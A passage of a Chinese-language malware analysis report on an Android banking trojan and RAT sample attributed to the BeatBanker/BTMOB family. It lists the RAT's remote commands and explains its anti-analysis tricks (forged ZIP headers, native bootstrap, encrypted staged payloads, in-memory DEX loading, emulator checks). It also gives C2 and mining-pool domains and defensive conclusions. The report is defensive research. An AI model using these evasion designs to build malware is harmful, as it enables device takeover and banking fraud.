|---|---|
| screen / scread | 实时屏幕捕获与串流 |
| upload | 将文件窃取至 C2 |
| bot | 基于无障碍服务的自动化操作(点击、滑动、输入) |
| brows | 浏览器会话控制(Chrome、Firefox、Samsung Browser、Brave、Opera、Edge、DuckDuckGo) |
| clip | 剪贴板读/写 |
| file / srh | 按类别搜索、复制、移动文件 |
| loc | 设备位置 |
| mic | 麦克风访问 |
| sms | 读取和发送短信 |
| net / trm | 网络 shell / 类 telnet 远程执行 |
| miner | 挖矿程序启动/停止控制 |
| lock | 设备锁定 / 拦截界面 |
| red | 重定向 / 重新配置 |
| DDS | DoS/泛洪引擎控制器 |
| calf | 呼叫转移 |
| ject / lject | 代码注入辅助工具 |
| update | 载荷自我更新 |
| clone | 应用克隆 / 复制 |
| optns | 运行时配置更新 |
| add | 设备清单 / 遥测快照 |
| spng | 间谍软件状态快照(键盘记录缓冲区、活跃 URL、通知流、监视状态) |
| blker | 拦截器控制(短信 / 呼叫拦截状态机) |
| wrk | 内部后台工作器数据包总线 |
| chat | 启动设备上的聊天 Activity |
| fetch | 枚举当前活跃的 SIM 卡电话号码或下载任意文件 |
| bc | 驱动面向用户的警报 / 通知流程 |
| tols | 通用工具操作:显示 toast、打开 URL、文本转语音、手电筒控制、调节音量 |
反检测附加能力:ads.txt 主机黑名单。该载荷捆绑了一个经 XOR 编码的 assets/ads.txt,解码后是一份包含约 75,873 个广告和分析主机名的列表,由 cofsbfpmyxowwuea Activity(WebView 诱饵宿主)使用,用于过滤 WebView 渲染内容中的广告/分析网络请求。诱饵页面因此能够干净地渲染,不会产生可能引发次生网络信号的第三方噪声。
第 4 阶段是业务影响得以实现的阶段。其欺诈工具集完整齐备:OTP 拦截、基于无障碍服务的交易操纵、实时屏幕观察、钓鱼覆盖层投递,以及欺诈期间的呼叫/短信拦截(blker)。检测需要的是终端可见性,而不是网络检查——封锁硬编码的回退 IP 并不能切断可在运行时重新配置的主 C2。
反分析技术
该样本经过精心设计,能够在分析人员自然而然最先着手的每一个层面上抵御分析。我们从样本中还原出了七种技术。单独来看,每一种都不算复杂;但综合起来,它们构成了一种纵深防御态势,实质性地提高了分析成本。
伪造的 ZIP 元数据
严格按照规范来看,外层 APK 并不是一个有效的 ZIP 压缩包。resources.arsc 和 AndroidManifest.xml 的本地文件头都被标记为已加密,使用了未定义的压缩方法(分别为 0x598F 和 0x8DCF——两者都不是标准的 ZIP 方法),并声明压缩大小为零,而实际上每个条目的数据都以原始字节的形式紧跟在文件头之后。
标准 Android 工具对 ZIP 合规性的要求足够严格,这些条目会导致解析失败或结构误报——apktool 和 aapt 都无法正确处理该压缩包。必须手动检查 ZIP 中央目录并重写格式错误的文件头,APK 才能被常规静态分析工具处理。而 Android 自身的运行时加载器足够宽松,可以接受该压缩包并正常安装应用。
原生引导架构
外层 APK 中被注入的 Application 子类的关键生命周期方法(attachBaseContext 和 onCreate)被声明为 native,并完全在一个 ARM 共享库(libmetaspermousdevitrifiednoiseful.so)中实现。同样的模式在第 3 阶段辅助程序的 c6xmV4.java Application 子类中再次使用,由 liblixhokfsmav.so 支撑。JADX 以及任何其他 Java 层反编译器在处理这些类时,只能看到空的方法签名——没有字节码,也没有可供分析的逻辑。
分阶段载荷加密
每个阶段的真实载荷都以高熵加密数据块的形式存放在前一阶段的 assets/ 目录中,其文件名刻意设计成不透明的资源标识符,而不是可识别的文件类型。这里使用了两种不同的加密算法:引导 DEX 使用循环 XOR;下游 APK 和 ZIP 压缩包则使用 AES/CBC/PKCS5Padding,其 128 位密钥由 asset 的 basename 经 SHA-1 截断派生而来。
内存中的 DEX 加载
解密后的载荷 DEX 从不会写入扫描器会监控的磁盘路径。取而代之的是,引导代码执行类加载器修补:在较旧的 Android API 级别上,它通过反射操纵父类加载器的 dexElements 数组;在 API 29 及以上则直接调用 makeInMemoryDexElements。分阶段载荷以完整 Android 应用的方式执行,却不会以已安装 APK 或磁盘上 DEX 文件的形式出现在任何标准存储路径中。
分级字符串混淆
样本并行使用了两种不同的字符串混淆封装:
- rf0.a()——简单的循环 XOR 加密。用于大量字符串,这些字符串需要在运行时以较低成本完成解密。
- s00.a()——AES/CBC/PKCS5Padding,其 128 位密钥通过 PBKDF2WithHmacSHA1 以 65,536 次迭代派生。专门用于在操作上敏感的字符串——URL、命令名称、目标包名模式。
这种分级反映出一种经过深思熟虑的防御:作者将代价高昂的 AES-PBKDF2 留给最重要的字符串,其余的则用廉价的 XOR 处理。
模拟器检测
主要的 Activity 类 czjjzmkujkl 在第 106 行执行模拟器检测,它会调用 p0.java 中的三个辅助方法——p0.f0()、p0.m0() 和 p0.o0()——每个方法都会将 Build.BRAND 与一个经过混淆的品牌字符串进行比对,以识别常见的模拟器指纹。检测到模拟器后的行为并不是直接崩溃或立即退出。相反,检测结果被用于在两个配置数据块之间进行选择;当检测到模拟器时,样本会使用备用数据块而非正常的数据块继续执行。
结语性观察
该样本的反分析设计中,有两个方面足够独特,值得特别指出。
ZIP 伪造是精准实施的。外层 APK 中只有两个条目——resources.arsc 和 AndroidManifest.xml——带有伪造的元数据(方法 0x598F 和 0x8DCF)。其余所有条目都是有效的。这种只针对两个文件的精准模式足够独特,可以作为跨 BeatBanker / BTMOB 样本的家族指标。
AES 密钥派生对分析人员而言是可获取的。第 3 阶段的 DexLoader 通过计算 SHA-1(basename_of_asset_path)[:16] 来派生其 128 位密钥。由于密钥是从文件名派生的,而不是来自原生库中的秘密材料,任何获得加密 asset 的分析人员都无需逆向原生代码就能推导出密钥。此处的加密起到的是给扫描器制造阻力的作用,而不是对有决心的分析构成真正的障碍。
归因:BeatBanker / BTMOB
集群背景
BeatBanker 和 BTMOB 是两个不同但相互关联的 Android 恶意软件家族,已被多个独立的威胁研究来源记录在案。BeatBanker 由 Kaspersky 的 Securelist 记录、BleepingComputer 进行了概述,是一个通过木马化工具应用投递的分阶段 Android 银行木马/挖矿平台。BTMOB 是一个 RAT 家族——由 Cyble 独立记录,被认为是 SpySolr 的演进版本——近期的 BeatBanker 样本会部署它来取代早先的银行模块。
公开来源: - Securelist (Kaspersky): BeatBanker miner and banker — https://securelist.com/beatbanker-miner-and-banker/119121/ - BleepingComputer: New BeatBanker Android malware poses as Starlink app to hijack devices — https://www.bleepingcomputer.com/news/security/new-beatbanker-android-malware-poses-as-starlink-app-to-hijack-devices/ - Cyble: BTMOB RAT: Newly discovered Android malware — https://cyble.com/blog/btmob-rat-newly-discovered-android-malware/
BeatBanker 集群的标志性特征包括:通过木马化工具应用进行分阶段 APK 投递、原生代码引导链、基于 Firebase 的命令与唤醒信令、下游载荷对无障碍服务的滥用,以及作为次要变现渠道的并行加密货币挖矿程序部署。
基础设施指标
| 指标 | 与 BeatBanker / BTMOB 的关联 |
|---|---|
| accessor.fud2026.com | 在 Securelist 公开报告中被单独列出 |
| accessor.fud2026.org | 未在公开报告中被单独列出——仅从本样本中还原(与已报告的 .com 属于同一域名家族) |
| pool.fud2026.com | 在 Securelist 公开报告中被单独列出 |
| pool.fud2026.com:8443 | 与已报告的 .com 属于同一域名家族 |
| pool-proxy.fud2026.com:8443 | 在 Securelist 公开报告中被单独列出 |
| aptabase.khwdji319.xyz:8443 | 出现在公开报告的 BeatBanker 遥测集群中 |
fud2026.* 域名家族是最有力的单一归因依据:它出现在该样本的多个位置(下载器、矿池、矿池代理),并且是关于 BeatBanker 集群的公开报告中明确列出的指标。
行为一致性
该样本的架构和运营模式在每一个主要维度上都与公开记录的 BeatBanker / BTMOB 特征相吻合:
- 通过木马化工具应用进行分阶段 APK 投递(第 1 阶段,LumoLight)。
- 在多个阶段中由原生代码引导程序拦截 attachBaseContext 和 onCreate(第 1 和第 3 阶段)。
- 将 Firebase Cloud Messaging 用作唤醒和任务下发通道(第 2 阶段)。
- 虚假的设置、VPN 和无障碍服务启用诱饵流程,作为实现权限提升的主要手段(第 4 阶段)。
- 并行部署加密货币挖矿程序,作为次要变现渠道(第 3 阶段)。
以上每一项都在关于 BeatBanker 集群的公开报告中有单独记录。这五项同时出现在同一个样本中——并且以相同的顺序和架构关系出现——本身就是家族归属的指标,与基础设施的重叠无关。
结论
TV_V_23.apk 并不是一个独立的应用——它是一个持续进行、经过专业设计的威胁行为者运营活动的组成部分,其设计目标是在受感染设备上长期存活。
架构模式才是识别标志。包名、密钥、C2 端点和诱饵 HTML 都可以在不重写平台的情况下轮换。不容易轮换的是架构本身:木马化的工具外层、带有加密分阶段载荷的原生引导、基于 Firebase 的唤醒机制、通过无障碍服务进行目标选择的拆分 APK 操作者载荷、并行的挖矿变现、分级字符串混淆,以及运行时可配置的 C2。检测工程应当针对架构,而不是针对具体的产物。
威胁面在于行为,而非技术。整个过程没有利用任何漏洞。每一项能力都是通过受害者在一台未经修改的设备上授予的权限获得的。打补丁和操作系统加固并不是对症的对策——真正对症的是:基于行为的无障碍服务滥用检测、在银行应用登录时进行设备完整性证明、针对交易交互模式的异常检测,以及根据该家族的作案手法有针对性地开展客户教育。
威胁还会卷土重来。BeatBanker / BTMOB 在不同样本和不同代际的基础设施之间具有连续性。不对目标进行硬编码,正是操作者能够随时将矛头转向任何机构的机制所在。此次报告事件中受影响的客户不太可能是最后一批。将这次响应视为一次性修复,而不是一场持久对抗的第一回合,将是一个规划上的错误。
这款恶意软件的优势在于其结构;防御者的优势也必须如此。随着攻击活动的成熟,单点防御的价值将日益降低。